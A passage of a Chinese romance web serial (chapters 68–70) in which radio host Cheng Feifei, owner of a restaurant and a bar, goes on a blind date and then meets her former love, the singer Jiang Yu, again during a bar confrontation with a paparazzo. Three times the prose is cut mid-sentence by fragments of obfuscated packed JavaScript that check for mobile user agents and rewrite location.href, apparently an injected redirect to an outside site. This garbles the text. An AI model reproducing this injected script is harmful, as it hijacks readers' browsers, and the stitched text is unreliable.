她扶着程霏霏,颤巍巍地站起身。 “是江羽……”程霏霏此刻的形象简直可以用狼狈来形容,浑身都在发抖,目光紧盯着地面,似乎在努力寻找一个具体的物什,强迫自己冷静。 这是她这些年,好不容易练就的一套情绪管理的方法。 半晌后,整个人终于能够彻底平静下来,方才激荡的冲动已看不出分毫。 而小禾扭头看向前方,不确定地问:“真的是江羽哥吗?他应该还没有走远吧,要不要我——” 程霏霏却突然推开小禾的搀扶,猛地转过身,独自沿着来路,磕磕绊绊地朝回走。 小禾顿了片刻,连忙撑伞跟上。 雨越下越大,地面上,汩汩水流汇聚到一起,顺着石阶哗啦啦地流淌,将所有追逐的冲动洗刷得一干二净,仿佛从未存在过。 68. 68 程霏霏木着脑袋,打开家门。 蹬掉脚上被雨水浸透的、再也没法穿的羊皮小高跟,程霏霏直接赤着脚,踩在了暖棕色的地板上。衣服上的雨水滴滴答答地往下淌,不一会儿,就在脚边汇成了一滩,直往地板缝里渗。 她就这样原地发了一会儿呆,然后赤着脚穿过玄关,朝房间深处走。 这是一栋六室一厅的大房子,装修低调却不失奢华,处处透着精致。只是面积过于空阔,哪怕一大家子住进来,也绰绰有余。 当初,程霏霏选购房子的时候,鬼精的房产销售只瞄了一眼她手上的包,就断定这位顾客虽然看着年轻,但架不住有钱,是以,服务得十分周到。 程霏霏一眼就瞧中了这款房型。 销售殷勤地引着她参观了所有房间,贴心地说:“咱们这个户型啊专为改善型家庭设计,甭管您家中有几位老人、几个孩子,每个人都能够拥有自己的专属空间,非常适合一大家子、甚至是两家人一起生活。请问您家中有几口人?” 程霏霏眼也不眨,答得随意:“就我一个人住。” 销售:“……” 还是第一次有单身小姑娘来买这种户型的。 她犹豫了一下,本着专业的精神,劝道:“如果是您一个人,其实没必要买这套的。我手上还有其他更适合单身人士的房子,房间虽不如这个多,布局却更加时尚精巧,位置放眼整个江城那也是绝顶的,您要不随我去看看?” 程霏霏摇了摇头:“就这个了。” 这是一栋三面环景的高级大平层,客厅通透明亮,落地窗向外延伸,仿佛与无垠的江面直接相连。 另一端则是宽敞的独立阳台。 程霏霏推开透亮的法式推拉门,来到阳台上,凭栏而望。 风景是说不出的舒阔,放眼望去,碧草如茵的江滩公园近在咫尺,再远一点,就是江城大学绿波如盖的主校区。 “我不嫌房间多,因为我的东西也挺多,需要足够大的主卧室、独立衣帽间……唔,还得有一个书房。” 程霏霏的眼眸清亮,嘴角微微一弯:“你们这户型,正合我心意。” …… 此时,程霏霏站在走廊的尽头,眼前是一扇上了锁的房门。 她湿淋淋的手正悬在门把上。 刚刚搬进这栋房子的时候,程霏霏操办了一个小型派对,一是为了暖房,二是给即将要去外地工作的黎玥送行。 她只请了几个关系熟稔的朋友,其中也包括姚安琪。当年“不共戴天”的死对头,如今竟也成了勾肩搭背的酒友。 几个女孩子在偌大的客厅里对酒当歌,喝得酩酊大醉,把全世界的狗男人骂了个遍。 喝醉了的黎玥摸索着寻找洗手间,无奈房间太多,竟然误打误撞地进了走廊尽头的这间书房。 门一开,就和一个真人比例的人型立牌大眼瞪小眼。 黎玥先是愣半晌,突然就绷不住,爆出一阵狂笑。她扶着桌沿,笑得前仰后合,肩膀都在一上一下地耸。 程霏霏一进来就看到这副场景,羞得脸红耳赤,面子里子丢了个精光。 最隐蔽的秘密暴露无遗,黎玥该不会觉得她是个执迷不悟的花痴吧? 程霏霏将人拉出来,“砰”一声甩上房门,还上了锁。 “你什么都没看见!” 而黎玥擦了一把眼角的泪水,笑岔了气一般,紧紧拉着她的胳膊:“霏霏……我还以为,你已经放下了。” “是已经放下了!那种滥情的男人,我为什么还要惦记!”程霏霏眉头拧成一个死结,“都是以前少不更事的时候留下来的破烂,我懒得扔而已!” “是吗?”黎玥的眼睛溢满了揶揄的笑意,“我看你这房子这么好,哪能存这些破烂东西?不如送给我吧,让我偶尔睹物思人一下也挺好。” 程霏霏诧异地看了她一眼。 黎玥觑着她的模样,笑得更欢乐了:“逗你呢!我可是早就翻篇了,不像某些人,浑身上下嘴最硬!” 程霏霏别过脸,不服气地哼了一声。 黎玥的眸子里染着醉意,唇边挂着熏然的笑容,姿态放松地倚在对面的墙上。 “霏霏,其实刚开始的时候,我特别战战兢兢,生怕这个秘密被你发现。”黎玥缓缓地开口,这么多年,第一次主动提起自己的少女心事,“我猜想,你要是知道的话,大概不会愿意跟我做朋友了。所以,我就尽量躲得远远的,连他的微信也不敢留。我每天都祈祷,这件事情永远不要被你知道。” “可是后来,你还是知道了。”黎玥的声音轻得像空气,眼眸迎着廊灯,似是有水光闪过,“霏霏,你是真的,不介意吗?” “……我又不是圣人。”程霏霏倚着另一面墙,无奈地耸了耸肩,“心里不别扭是不可能的。” “那你为什么……从来没有问过我?” 程霏霏懊恼地剜了她一眼:“有什么好问的?这个世界上让你为难的事儿已经够多了,我懒得再给你徒增烦恼,就当不知道吧!” 黎玥依旧安静地站着。 只是方才还在笑的脸,忽地滚下来两行清泪。 那泪珠晃晃悠悠地悬在下颌上,程霏霏叹着气靠近,抬起手背,给她抹了去。 黎玥好像再也忍不住,突然扑进她怀中,呜呜地哭了起来。 大概是酒精削弱了理智,也催化了情感,今晚的一切都太过柔软,值得一场酣畅淋漓的发泄。 程霏霏一边抱着人,一边好笑地拍了拍她的背:“黎大记者,你可是马上要奔赴新闻第一线的人,这样脆弱真的可以吗?” 黎玥才不管,抱着好友狠狠大哭一通,才哑着嗓子开骂:“……江羽那个傻X,真他娘的没福分!” * 程霏霏的手悬在半空,恍惚了许久,还是没有拧开眼前的这扇门。 那是毕业后的第一年。 再后来,又过了许多年……一个个面目模糊的白天和夜晚,皆浮光掠影般地飞逝而过。 曾经那些迫切到灼心的爱意和遗憾,也在漫长的岁月中逐渐褪去了棱角,在她的灵魂上一砖一瓦地拼凑出一些诸如阅历、城府、心性之类的东西,让她越来越能够游刃有余地生活。 在大街上看到江羽的海报,她眼神都不作停留,权当没看见。 同事谈论他的八卦,她还能像个旁观者一样,揶揄地损上两句,俨然一个调侃明星绯闻的吃瓜群众。 网上有关他的一切新闻和热搜,她亦是看过就忘,从不走心,就如雁过长空,了无痕迹。 程霏霏连他的演唱会,也一场都没有去过。 唯一的一次交集,是有一年,程霏霏和同事们一块赴香港出差。 忙完工作,她独自一个人去逛奢侈品店。 店员惊喜地发现这位小姐竟然是VIC顾客,当即喜笑颜开地说:“程小姐,这次来港要不要多待几天?马上是我们的新季品牌大秀,我们诚邀您过来看秀,届时,或许有机会与新代言人互动,运气好的话,还可以合影哦!” 程霏霏忙着签单,眼皮也没抬:“不用了,明天就走了。” 她拎着东西出了店。商场正对面的大型灯箱前,几位装修师傅正在更换代言人海报。 程霏霏气喘吁吁地冲回店里:“你们新代言人……是江羽?” 程霏霏在香港又待了三天。 同事们都提前回了江城,她一个人站在维多利亚港的栈道上吹了一天海风,第二天早早出现在了品牌大秀的现场。 程霏霏到得最早,却站得离秀台最远。 她有点紧张,手指紧紧地绞在一起,不停地张望着入口处。 现场人很多,华灯璀璨之下,是世界顶奢品牌的亚洲大秀,汇聚了各界名流。姑娘们打扮得时尚又风雅,顶着上镜也毫不逊色的精致脸孔,妆容飞扬,礼服闪耀,宛如最精美的画里走出来的仙子。 程霏霏低头看了看自己身上虽然大牌、但衬衣配着西裤的套装,沉闷得就像个刚从隔壁写字楼下班的打工人。 白手套的工作人员端着托盘,为她送上一杯香槟,用英语殷勤地说:“恭喜这位小姐,您很幸运,拿到了一号牌,是今晚第一个与代言人互动的嘉宾哦!” 程霏霏看了眼手里的牌子,咧嘴一笑。 如今,她想离他近一点,竟然都要排队。 现场流光溢彩,熙熙攘攘,旁边有几个女孩聚在一起,叽叽喳喳地聊天。 “江羽还没到吗?看来,传言是真的啊!” “船王的孙女听说他到港,特意在半山的私人庄园设宴接风!都追到这份儿上了,帅哥还有不点头的道理?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14774193|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “难怪会迟到,等下,估计要携佳人入场了吧……” …… 等江羽踩着大秀的开场姗姗来迟的时候,工作人员按照号码顺序过来邀请程霏霏,却发现一号号码牌放在了铺着天鹅绒的座席上,人已经离开了。 * 到今年,已经是他们分开的第七年了。 她连那点见面的好奇心也早已消磨殆尽。 他人在哪里,过得好不好,身边的女人又换成了谁,和她再没有丝毫关系。 只是一个有着遥远印象的故人。那些记忆的碎片,也被深埋在心底,不会轻易翻看。 没想到,维持了这么多年古井无波的平静,竟然在下着雨的墓园里,被那一眼所打破。 程霏霏懊恼地拍了拍自己的脸,触到黏在脸颊上的发丝,才意识到自己刚刚淋了场大雨,浑身都湿得彻底。 她将贴在身上的衣裙脱下,钻进浴室,洗了一个漫长的热水澡。 再出来的时候,手机上,任可心在她们的闺蜜群里发了一条链接。 点进去,是娱乐新闻的界面,一堆密密麻麻的文字配着一张粉丝的偷拍图—— 多伦多机场的候机厅里,一身低调打扮的江羽仰着头,正在查看中国江城的航班信息。 底下的网友们纷纷猜测,江羽在演唱会结束后立刻出发,只身前往江城,到底是去干吗的啊? 程霏霏一咧嘴——用不着看新闻,她已经知道,他人在江城了。 没有回复任何内容,程霏霏切到联系人名单,搜出一个备注名为“王旭升30岁180招商王主任介绍”的男人,发了条微信过去—— 【你好,最近有空吗?我想把之前欠的那顿饭补上。】 * 成年人,不论今天的情绪有多么崩溃,到点了都要收拾心情洗洗睡,不能耽误第二天出门上班。 程霏霏也是如此,将自己一摊子支零破碎的心情修补好,第二天准时出现在了广播台。 一进门,小闫拿着个手机,兴高采烈地说:“霏霏姐,昨天打热线点歌的小粉丝——就是那个电话里冲你嚷嚷的,在咱们节目官博底下留言了,说她没想到,那狗竟然真是她偶像领养的,特地来跟你道歉呢!” 程霏霏听得一头雾水:“她又是怎么知道的?” “她偶像亲口说的呗!” 小闫嬉皮笑脸地点开了微博页面——原来,江羽昨天晚上发了一条微博,庆祝自己和他的狗,小黄,相识九周年,并附了一张狗子的近照。 程霏霏怔怔地盯着那张照片,觉得有点恍如隔世。 江羽很少在自己的微博里抒情,偶尔发一条,不是宣传新专辑,就是官宣演唱会。这一回,却罕见地写了一段话,简单讲述了和小黄的过往——此狗是他收养的流浪狗,昨天是他们相识的日子。 “原来如此啊,粉丝不了解内情,不知道怎么的就传成了生日……霏霏姐?” “嗯?”程霏霏还在愣神,消化着心底那种难言的微妙感。 她甩了甩头,打断自己的思绪,对小闫一笑:“不是什么大事,我还能跟小女孩置气不成?告诉运营,送这位听众一份小礼物,感谢她的支持。” “好嘞!”小闫得了令,转头跑了。 程霏霏则夹着笔记本,和选题小组坐在会议室里,讨论即将到来的七夕情人节特辑。 马上就是七夕,相关的选题会已经开了五六轮,市面上好的点子基本上穷尽了。 编导叼着一支笔,做最后的挣扎:“对于相爱的人们来说,最珍贵的,莫过于两个人相处当中的点滴回忆。承载回忆的载体有很多,咱们是电台,搞不了影像,只能在声音上做文章。干脆就搞一期【你的lovesong】,征集大家的爱情主题曲。” 众人纷纷鼓掌,觉得这个选题可行。 程霏霏坐在靠近窗口的位置,一眼就可以看到外头翻涌的夏日绿意。 慵懒的爬山虎反射着细碎的阳光,像跳舞的精灵。一只雪团一样的猫咪正蹲在谁的电动车座子上,高傲地睥睨着前来投食的人。 昨儿下了雨,今天是个晴空万里的好天气。 手机嗡地一震,“王旭升30岁180招商王主任介绍”发来一个餐厅的定位—— 【程小姐,期待今晚与你相见。】 69. 69 华灯初上的时候,程霏霏在拥挤的晚高峰里龟速腾挪,一路压着油门,好不容易赶到了江大后街附近。 经过好几年的发展,这里早已不再是当初涉世未深的青涩,摇身一变,成了整个江城有名的西式风情一条街。高大的法国梧桐分立两侧,枝叶的缝隙间透出霓虹包裹的招牌,在最后一点稀疏的日光下莹莹而亮。 程霏霏打着转向灯,停在绿意盎然的小院门口。门童看到她的车牌,立刻精神抖擞地小跑过来。 “霏霏,今天下班这么早?” “约了人。”程霏霏从车上下来,无需多言,门童自然而然地坐进驾驶座,替她泊车。 程霏霏挎着包,走进了“鹿客”的院门。 这个院子比之前变大了许多,从外面看,依旧是优雅复古的大铁门,进去之后,才另有洞天。 法式的院墙上缠满了盛放的蔷薇,蜿蜒数十米,将原本属于隔壁的灰砖小楼也包围了进来。 两栋楼之间,是翡翠般铺展的绿地,环绕着一朵朵硕大的遮阳伞。这个点儿,已经有食客坐在花园一般的室外,享受一顿月光下的晚餐。 程霏霏沿着草坪边的石板路走向内侧的白色小楼,那是鹿客餐厅原本的位置。 小楼已经重新翻修过,看上去更像是一幢大型玻璃屋。整片落地的玻璃幕墙让怕热的食客们既能吹到空调,又能欣赏到外界的自然景致。 “叮铃——”,年轻的服务生为她拉开了餐厅的门,“欢迎光临Look&Dine!” 如今,连鹿客这个名字也不再用了,改成了更具逼格的英文名。 “小禾?你怎么在这儿?”程霏霏扬起眉毛。 小禾一身白色黑领的侍应生制服,看到是程霏霏进来,立即眉开眼笑地说:“姐姐,晚上好!” 她凑上去,对着程霏霏咬耳朵:“今晚,对面有大方的主儿包了全场,常哥亲自过去招呼了,用不着我。” “行。”程霏霏点点头,漫不经心地问:“我约了朋友在这儿,他到了吗?” 小禾的声音压得更低:“倒是有一位先生,说是在等朋友,就窗户边上那个,看上去有点架子的。” 程霏霏将墨镜拉下,仔细瞅了一眼,不太确定。 这个王旭升是电台招商部的王主任介绍的,王主任不知从哪儿听说她还是单身,硬要把自己海归毕业正在创业的侄子介绍给她。程霏霏不好不领情,只得勉强加上了微信,互动过几次。对方约她吃饭,她都以工作忙为由推脱了。 昨晚,程霏霏忽然决定,要认真对待身边所有可能的缘分——省得自己整天胡思乱想。 第一步,就从和相亲对象见面开始吧。 程霏霏环顾四周,餐厅里人不多,她要见的,应该就是窗户边上那个没跑了。 她端起一个笑,落落大方地走过去,在桌子前停下:“王先生是吗?你好,我是程霏霏。” 王旭升正低头研究手机上的股市走向,闻言,抬起头,心中略惊讶——没想到,广播台那种地方,竟然真的有美女! 他还以为,这次他大伯又给他介绍了一个能听不能看的。 忽然之间就来了兴致,王旭升一改冷淡的姿态,笑容可掬地站起身:“程小姐你好,快请坐!” 他的眼神在程霏霏的脸上来回扫,越看越满意。 “程小姐这种大忙人,竟然愿意赏光吃一顿饭,鄙人十分荣幸。” 说着,招手叫来服务生:“Excuseme,点餐!” 小禾走了过来,含笑奉上菜单。 王旭升翘起二郎腿,慢条斯理地翻着厚厚一本菜单,对程霏霏说:“这家店在江城还算有名气,味道虽说不上十足地道,但也勉强能入口。对了,程小姐喜欢西餐吗?” 人都在这儿了,才问喜不喜欢西餐?不喜欢怎么办,还能拐去学校后街上吃麻辣烫不成? 程霏霏笑呵呵地答:“都行,没什么忌口。” “啧,难得见到像程小姐这么爽快的年轻女孩!现在的女孩子呀,一个比一个挑食,这也不吃那也不吃,问就是要减肥。” 王旭升的眼神黏在程霏霏身上下不来:“程小姐这样的就正好,一看就是有福气的长相,喜欢牛排吗?” 程霏霏想了想,对小禾说:“给我一份安格斯肉眼吧,五成熟。” 王旭升抚掌大笑:“程小姐,一看你就是不懂牛排呀!这肉眼偏油腻,还是菲力的口感嫩,适合女孩子。” 他转向小禾,气定神闲地说:“给这位小姐换成mediumwell的菲力,吃着不腥气。那份肉眼就给我吧,要Mediumrare的,加shallots一起做。唔,你家的煎虾配紫薯泥还行,来一份。柠檬汁不要姜味的,我不爱吃姜。另外,我已经来过好几次了,也算你家的常客,不送一份甜品可说不过去啊?就要那个主打的,叫什么来着……车轮泡芙,再拼个焦糖布蕾。” 小禾蹙着眉,忍不住看向程霏霏。 程霏霏单手支颐,露出一个不动声色的笑:“王先生经常来?” “那当然。”王旭升傲娇地挑了挑下巴,“程小姐工作忙,大概不常来这种地方,不善点菜很正常,平时就喜欢参考着点评网站下单吧?我在国外生活比较久,对西餐文化了解甚多。你们女孩子啊,连每块牛肉长在哪里都搞不清楚,又怎么会吃牛排呢?” 程霏霏唇角微翘:“王先生真是见多识广。” 王旭升听了,内心更加得意,忍不住吹嘘:“这西餐文化可是博大精深,程小姐如果感兴趣,在下愿意倾囊相授!” 他转头,冲小禾道:“把你们酒单也拿来!” 王旭升擎着酒单,把上面的每款洋酒都分析了个遍,科普一样给程霏霏办了个讲座,越讲越兴奋。 讲解完,一时没收住,点了一瓶“高品质”白葡萄酒。 这顿饭的身价一下子飞涨。 程霏霏这才露出一个满意的笑,对小禾说:“就按照王先生要求的,赠一份甜品拼盘吧。” “好的。”小禾收回菜单,笑盈盈地转身走了。 王旭升看着这二人的互动,莫名的,总觉得哪里有点怪怪的。 他没有深想,继续同程霏霏攀谈起来。心里对眼前的佳人越看越满意,已经脑补出两人孩子的满月酒了。 程霏霏呷了一口贵价白葡萄酒,搭配盘中鲜嫩的牛排,心里想着,那批肉眼到货挺久了,本想自己吃掉算了,现在有人上赶着替她吃,也不是不行。 她有条不紊地切着牛排,同对面的人搭话:“听说王先生在创业?还顺利吗?” 王旭升咀嚼的动作一顿,神情有点闪躲:“创业这种事,自然比不得你们上班容易。不过,我最近已经厘清了门道,相信很快就会步入正轨。这其中的弯弯绕绕太多,一时也说不清楚,你一个女孩子想必也不爱听,我就不聊了。” 程霏霏了然地点点头——还没起步,雷声大雨点小,假把式搞一搞。 王旭升正在琢磨,怎么才能把话题往情感的方向带,余光里,一个黑衣服的圆寸男人穿过草坪,急匆匆地推开餐厅的门,朝程霏霏走来。 程霏霏目露笑容:“常哥,你这是——” 常泰弯下腰,在她耳边低语了几句。程霏霏眉心一凝,将餐巾往桌面一放,对王旭升说:“抱歉,我有点急事要处理,失陪一会儿,您慢用。” 她说完就跟着圆寸大哥走了,看样子,好像是朝对面的灰砖小楼去了? 好好的一场约会,女方中途被人拐走,这怎么能行? 王旭升也从椅子里跳起来,抬手招来小禾:“我要买单,快点!” 账单到手,王旭升盯着那上面的数字,忍不住一阵肉疼。 自己的公司刚刚起步,还在入不敷出呢,今天为了博美女青眼,装了个大的。 没办法,他掏出信用卡,咬牙结完了账。 正要出去追人,小禾在身后叫住他,递上一个印着餐厅名字的精致纸袋,里面是打包好的赠品甜点。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14779608|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “王先生,霏霏姐吩咐,让您吃好了可以先回去,这里是您要的甜品。需要的话,我再给您免个停车费?” 王旭升愣了愣:“你认识她?” “这里的每一位员工都认识她。”小禾眉眼弯弯,笑得人畜无害,“霏霏姐是我们Look的老板啊。” * 程霏霏跟着常泰,疾步朝对面的灰色建筑走去。 虽然在同一个院子里,但这栋楼的整体风格和草坪对面的玻璃房子截然不同。 此刻已经入夜,楼身上挂满了五颜六色的灯饰,散发着迷离魅惑的光。以往这时候,早就有支离破碎的音乐和鼓点声飘逸出来,在空气里翻滚震荡,今天却出奇得安静。 正门处,一块硕大的招牌上写着花体英文【Look&Sip】。 这是一间酒吧。 来的路上,常泰看起来一脸犹豫,琢磨了很久,才试探着说:“霏霏,酒吧这种营生,哪有不打架的?你看看这整条街上,哪家酒吧没闹过事?就咱们Sip,也不是第一回了,其实也不用你亲自出面。要不然,你还是回去继续吃晚饭吧?” 程霏霏蹙起眉:“晚了。我听小禾说,今天有人包场。包场的客人竟然受到这种惊扰,我身为老板,不出面安抚一下不合适。” 常泰:“那个,我有一件事要跟你说……” “哎呀有什么事等处理完这件事再说!” 程霏霏加快了脚步,老远就看见酒吧门口围了一圈侍应生。 “怎么不进去?”她疑惑道。 “包场的客人在里面,他……他谁都不让进。” 得,还是个难伺候的主儿。 程霏霏可不惯着,酒吧是她的,她要进去,看谁敢拦! 她一把将大门推开,二话不说冲了进去。 酒吧内的灯光昏暗迷离,一片桌椅横七竖八地乱着,地面上杯盘狼藉,看起来像是刚刚结束一场打斗。 一名矮胖男子歪在地上,捂着眼睛破口大骂。男人穿了一件紧身黑T,露出胳膊上粗犷的纹身。 程霏霏赶紧上去将人搀扶起来。 男人看到她,竟是一愣。 程霏霏端着客气的微笑:“先生,您不要动怒,有什么事情都可以跟我说,我是这家酒吧的老板。” “你们就是这样做生意的?今天谁都别拦着我,我定要让这小子好看!” 他松开了捂着左眼的手,露出一只青紫交加的熊猫眼。 画面有点滑稽,程霏霏差点没绷住笑,还是努力管理好表情,安抚道:“不好意思啊先生,您包了场子来玩,竟然被无关人员骚扰,真是对不住!您放心,我们已经报了警,警察马上就到,有什么问题咱们都能协商解决!” “喂——” 一道清冽的声音在程霏霏身后响起:“老板,安慰错人了,包场的人是我。” 那个瞬间,程霏霏觉得,全身上下所有的细胞都停止了呼吸。 血液轰鸣着冲向大脑,和这句人声交织在一起,化为一道鸣鞭,冷不丁抽打在她的意识上,敲得天灵盖都嗡嗡作响。 她几乎不能思考,只是凭着本能,僵硬地转过身。 江羽叉着胳膊,好整以暇地坐在身后的吧台上。 光怪陆离的酒瓶堆砌了整面墙,从深红到浅绿,从琥珀到透明,杂乱而又巧妙地排列着,反射出五彩斑斓的光,将那张好看的脸衬托得奇诡又不羁。 他唇角微微一翘,从吧台上跳下来,若无其事地朝程霏霏的方向走过来。 目光盯着她,却又好像没在看她。 程霏霏如遭雷击,怔在原地动弹不得,只能一瞬不眨地注视着他离自己越来越近……直到擦肩而过。 她甚至能闻到他身上浓郁的烈酒的味道。 江羽的目光纹丝不动,只是抬起胳膊,浑不在意地将她轻拂到一旁。 就像在扒拉一个碍眼的路障。 他迎着对方愤恨的眼神,轻蔑一笑:“你打算怎么让我好看?” 70. 70 一股冰凉的隐痛从肋骨间升起,迅速贯穿程霏霏的全身。 她下意识地捂了捂心口。 江羽此刻就站在她身旁,两人的肩膀仅一拳之隔。 耳中嗡嗡作响,男子的骂声近在咫尺,可程霏霏什么也听不见,只能用尽力气,迫使自己将目光抬高了几分。 视线里是一缕蓬松的、缠绕着醉意的发梢。 发梢泛着冷漠的蓝调,随着主人的动作翘起一个傲娇的弧度。 而他的主人,面对时隔七年后突如其来的重逢,竟不见任何异色,甚至连一丝表情上的波动也没有。 就像是从未与她相识……或者说,压根没有认出她这个旧人。 程霏霏紧紧握拳,眼眶憋得通红,手脚冰凉无感,一颗心却酸得胀痛。那酸意顺着呼吸一路烧进嗓子眼,令她发不出声音,只剩暗暗抽搐的喘息。 她闭了闭眼,努力平复着汹涌的情绪。很快,世界终于再度清晰起来,嘈杂声不断涌向耳际,那名挨了打的男子竟然还在骂。 “江羽,你不就是个破明星,有什么了不起的!告诉你,爷爷我可是知名娱乐博主,跟拍你是给你脸!我随便说句话,在网上都是一呼百应!你得罪我,就是踢到了铁板,看我不把你搞臭!搞死!” 江羽的唇角勾了勾,露出几分饶有兴味的嘲弄:“我揍了你一拳,你的反击,就是回家发微博?” “哈哈——” 头顶传来偷笑声。 程霏霏抬起头,这才注意到二楼竟然站了好几个人,应该是和江羽一起的朋友。 男子那张肥厚的脸涨得通红,磨了磨后槽牙,从口袋里掏出一个指甲盖大小的微型摄像机。 他盯住江羽,阴恻恻地笑:“你不就是为了这东西么?” 江羽不动声色地瞥了一眼那个黑色物体。 “你现在立刻给我下跪道歉,还来得及,要不然……等会儿本爷爷一个手抖,把里边的东西全部公之于众了,可怎么办呐?” 江羽唇边的弧度没有丝毫变化,茶色的眸子忽地漫起尖锐的冷沉。程霏霏知道,他生气了。 心下一惊,来不及思考,身体已经先于意识做出了反应——她一把攥住了江羽的衣角。 江羽向前的力道猛地顿住。 ……我我我在做甚? 程霏霏难以置信地盯着自己的手,恨不得立刻给它剁掉——这随随便便就上手的毛病是怎么回事! 对方可是当红男明星诶,是她想摸就能摸的?不会告她非礼吧! 可是她已经上手了,下一步要怎么办?一直抓着吗?要不要放手?放手了他们会不会又打起来? 脑子里正在天人交战呢,突然,二楼那群人里有个人“噔噔噔”地跑了下来。 这么暗的酒吧内,此人依旧戴着墨镜,脖子上围了一块桌布,不伦不类地遮住半张脸,一看就是为了掩盖身份。 “我说狗仔兄弟,现在的活不好干,我们都理解。今天呢是我朋友包场,你混进来玩玩就罢了,怎么还偷拍呢,不够意思了哈!当然,我朋友一时冲动,给你打了,也有不对。我做个见证,让他给你赔个不是,你俩握手言和,相互抱一下,这事就算过去了,怎么样?” “……” 现场陷入尴尬的寂静。 对面的男子似乎更加气愤了,而江羽则连个眼神也没有给他。 桌布男朝江羽靠过来,咬牙低语:“你想当法制咖就自己当去,别拉我下水!我跟官司俩字有血仇!你,立刻马上,跟这狗仔翻篇!” 说着话,目光轻轻一瞥,看到了站在江羽身侧的程霏霏。 陈嘉与微微一愣,不禁笑叹:“江城这地方,还真是钟灵毓秀啊……” 江羽带着薄怒的目光突然射过来,陈嘉与顿时觉得脖子后边凉飕飕。 又一阵脚步声响,一个年轻女孩也从二楼跑了下来,站在了程霏霏不远处。 女孩穿着缀满亮片的性感吊带裙,双颊一片微醺的红晕,柔软长发旖旎披散。 似是被吓坏了,她一双大眼睛扑簌簌地眨:“都是我不好,要不是我今天非要来这里玩,你们俩也不必为了我和别人打架——” 陈嘉与一愣:“话不能乱说,我可没打架,为你打架的人是江羽!” 说着,还用胳膊肘戳了戳他:“喂,跟你女朋友解释解释啊!” 江羽毫无反应,只盯着那只黑色的摄像机,周身像裹了一层阴翳的云。 陈嘉与讨了个没趣,讪讪地闭上了嘴。 程霏霏看向那个女孩—— 就在今天中午,小闫还在聊最近热播的某个仙侠剧,甚至把里头的经典片段分享到了群里。程霏霏刚看完那女二号一身浴血慷慨就义,晚上就见到了活生生的演员本人。 童莺,上升期小花,另一重更为知名的身份,据某八卦娱乐号爆料,是歌手江羽目前正在交往的女朋友。 程霏霏也纳闷,自己这奔三的大脑,连个短篇新闻稿都记不全乎,又是怎么记得下娱乐圈这些鸡零狗碎的? 不过,她也大致搞明白了,今晚这一出,乃是“冲冠一怒为红颜”的剧情:胖子狗仔潜伏在酒吧里,拍到了小情侣卿卿我我的画面,江羽恼羞成怒,要求删除视频,一个没谈拢,就上手把人给打了? 思及此,程霏霏忍不住悄悄瞥了一眼身旁的人。 这么些年过去,竟是变得越来越沉不住气了。 不过也没什么奇怪的,以他如今的地位,遇到不顺意的事,再也用不着对任何人忍气吞声。 似乎感受到她的目光,江羽忽然偏头,看了过来。 这是今晚碰面后,两人的第一次对视。 程霏霏像是突然被这双眼睛攫住了神智,只觉得头脑一片空白,线条秀丽的嘴唇微张着,好似有千言万语哽在嗓子眼,却发不出声。 所有的欲说还休,只能化作目光里的一摊水,颤颤悠悠地倒映在对方的瞳仁里。 江羽微垂着视线,唇角小幅度一弯,荡出一个浅浅的、透着几分邪气的笑容。 他用只有两个人能听到的音量说:“还不放手?” 程霏霏这才意识到,自己竟然一直抓着他的衣摆。 手指好似被烫到了一般,她突然丢开那截被攥得出褶的衣角,连退好几步。想要离他远点,后背却撞到了童莺的胳膊。 “哎呦——” “……不好意思。”程霏霏敛着眉眼,下意识地道歉。 前方的狗仔男却突然嗤了一声。 程霏霏觉得,他的视线在自己和童莺的方向肆无忌惮地扫过,露出一个阴险滑腻的笑:“江老师,喜欢这个妞啊?要不要我先替你验验货——” 程霏霏只觉得身侧一阵风起,江羽猛地上前,一把掐住男子的脖子,扣着他的后颈,将他整个脑袋压在了桌面上! 男子根本来不及反应,被压制得动弹不得,大声吼道:“你他妈放开我!” 陈嘉与沉了脸,想要上前拉架。江羽却丝毫不让,右手捞过桌上一瓶红酒,朝桌沿上一磕,“砰”地砸掉盖子,对着男子的嘴巴就往里灌。 鲜红的酒液顺着他肥厚的腮帮流进嘴里,又漫出来涌到桌子上,男子想要哇哇大叫却被呛了个结实。 “洗洗你这张臭嘴。” 江羽胳膊肘像铁杵一般压着人,将整瓶红酒倒了个精光。 桌上和地上都溢满了紫红色的液体,配合着男子止不住的呛咳,场面看着有一点血腥。 江羽倒空了酒,也不放手,捏着瓶身朝桌角狠劲一砸,瓶子瞬间断成两截,露出凸出的玻璃残片。 他拎着那截尖锐的碎片,抵在男子脑门上,眼看就要戳进他的眼睛。 “我耐心有限。”他的声线薄如残冰。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798925|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >男子吓得浑身发抖,嗷嗷求饶:“我给!我给!” 手在兜里一通摸索,掏出刚才那个黑色的小方盒,哆哆嗦嗦地交了出去。 